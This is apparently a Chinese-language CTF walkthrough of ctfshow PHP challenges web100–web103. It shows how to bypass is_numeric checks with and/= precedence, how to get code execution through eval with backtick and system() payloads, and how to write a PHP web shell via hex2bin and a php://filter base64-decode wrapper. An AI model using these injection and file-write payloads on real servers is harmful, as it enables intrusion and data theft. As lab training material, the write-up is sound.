ctfshow-web入门-php特性（web100-web103）is_numeric 函数绕过

目录

1、web100

2、web101

3、web102

4、web103

---

1、web100

提示：flag in class ctfshow，我们只需要构造输出 ctfshow 这个类即可。

代码分析：

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){

虽然逻辑运算符的优先级比赋值运算符要高，但是如果逻辑运算符和赋值运算符连用时，往往允许存在先进行赋值运算，后再进行逻辑运算的顺序。

 is_numeric() 函数用于检测变量是否为数字或数字字符串，对于 php 来说：

$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

需要满足 if 语句才会进入后面的判断，因此要求 v0 为 1，这里用的是 and，所以只需要满足 v1是数字即可。

if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){

要求 v2 中不能有分号，v3 中需要有分号。

eval("$v2('ctfshow')$v3");

如果上述要求都满足，则会调用 eval 函数。

构造 payload：

?v1=1&v2=echo new ReflectionClass&v3=;

代入 eval 函数实际就是执行： 

eval("echo new ReflectionClass('ctfshow');");

ReflectionClass 是 PHP 中用于反射类的内置类，它允许获取关于类的信息，比如类的方法、属性等，'ctfshow' 是传递给 ReflectionClass 构造函数的类名，这段代码的实际作用是创建一个 ReflectionClass 对象，用来反射名为 'ctfshow' 的类，并将其输出（echo）到页面上。

拿到的 flag：5322193e0x2d9ab00x2d4faa0x2daafc0x2d21f6bbb10397

需要将 0x2d 替换为 - ，结果再使用 ctfshow{} 包裹。

最终 flag 为：ctfshow{5322193e-9ab0-4faa-aafc-21f6bbb10397}

除了输出 ctfshow 类，这里还可以进行命令执行：

b 站视频里用 %23 也就是 # 将后面的内容进行注释掉

?v1=1&v2=eval($_POST[1])?>%23&v3=;

 post：

1=system('ls');

其实不注释也是可以的，这里也没有注释成功，因为我们已经使用 ?> 将前面的 php 代码闭合了，后面的 ('ctfshow') 已经在 php 标签外了，只会被当做纯文本直接输出。

也可以直接使用反引号进行命令执行：

?v1=1&v2=echo `ls`?>&v3=;

不用去考虑后面多出来的内容，闭合前面的 php 代码即可。 

但是这里发现 flag 并不在 flag36d.php 里面 

最终在 ctfshow.php 里面找到 flag：

?v1=1&v2=echo `tac ctfshow.php`?>&v3=;

此外，还可以直接输出 $ctfshow，payload：

?v1=1&v2=var_dump($ctfshow)?>&v3=;

?v1=1&v2=print_r($ctfshow)?>&v3=;

?v1=1&v2=var_export($ctfshow)?>&v3=;

除了用 ?> 让 php 代码提前闭合，也可以将后面多余部分 ('ctfshow') 注释掉：

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

替换进 eval 函数就是 eval(var_dump($ctfshow)/*('ctfshow')*/;);

当然，不注释，不提前闭合，直接用前面代码也能正常回显出结果：

?v1=1&v2=var_dump($ctfshow)&v3=;

2、web101

在上一题的基础上，对 v2 和 v3 新增了很多的过滤，特别是 $ 和反引号这些都被毙掉了，我们只能采用反射类的方法：

?v1=1&v2=echo new ReflectionClass&v3=;

替换掉 0x2d 后得到 ctfshow{6aefebb5-4607-4473-b33e-890dae795f1}

查看提示：最后一位需要爆破16次，题目给的flag少一位

好吧再爆破一下：

最后一位是 8  

最终 flag：ctfshow{6aefebb5-4607-4473-b33e-890dae795f18}

3、web102

代码审计：

$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){

要求 v2 是数字，这样才会满足 if 条件，进入后面的语句。

$s = substr($v2,2);

从 $v2 的第三个字符开始截取子字符串并赋值给 $s。

$str = call_user_func($v1,$s);

调用 $v1 指定的函数，并将 $s 作为参数传递给该函数，将函数的返回值赋值给 $str。

file_put_contents($v3,$str);

将 $str 写入 $v3 指定的文件中。

可以看出这里我们控制的 payload 应该从 v2 的第三位起，并且内容只能先传入数字；

接着我们通过 v1 指定函数，这里可以使用 hex2bin 函数，将前面传入 v2 的数字作为十六进制数值转换为 ASCII 字符，转换后的结果返回给了 $str；

最后通过 file_put_contents 函数将内容写入到我们指定的文件 v3 里面。

但是问题在于，什么样的 payload 转换成十六进制全是数字呢？ 

其实很难有完整的，我们无法直接写入，因此在写入的时候采用伪协议，对写入内容进行 Base64 解码后再写入，而我们可以对 payload 先进行 base64 编码后，再转为 16 进制。

payload：

<?=`cat *`;

先转为 base64 编码：

PD89YGNhdCAqYDs=

再转为 16 进制：

5044383959474e68644341715944733d

结尾的 3d 肯定是不行的，因此去掉 3d，相当于去掉的是 base64 里的等号，这个是不影响的。

得到：

5044383959474e6864434171594473

其实可以注意到，里面还有一个字母 e，那么 e 可以被当做数字吗？

不难看出 e 在中间是符合 is_numeric() 的，作为科学计数，因此满足题目代码要求。

为什么不使用 cat f* 或者 cat flag.php，因为这些转出来的内容都不行，不符合都是数字的要求。

注意，我们的 payload 是从 v2 第三位开始的，因此前面需要增加两个数字，绕过 substr 函数。 

所有这里 v2 传入 payload：005044383959474e6864434171594473

v1 传入用来转换的函数：hex2bin

v3 传入伪协议，用来对要写入的数据先进行 Base64 解码：php://filter/write=convert.base64- decode/resource=1.php

完整 payload：

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post：

v1=hex2bin

被 echo 出来的 PD89YGNhdCAqYDs 其实就是我们的 payload，也就是 $str 的内容，这个内容会通过伪协议，先 base64 解码后，再写入到 1.php 里面去。 

 

之后访问 1.php，查看源码：

拿到 flag：ctfshow{d75d19d4-078a-4f3d-bfb3-0ae18277c463} 

4、web103

新增过滤 php，实际上转出来能满足  is_numeric() 函数的本身就很少了，而且上一题我们压根也没有使用到 php，所以直接用上一题的 payload 打就行：

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post： 

v1=hex2bin

访问 1.php 查看源码：

拿到 flag：ctfshow{47ff55ed-50e7-4951-8629-dfab88da8c4f}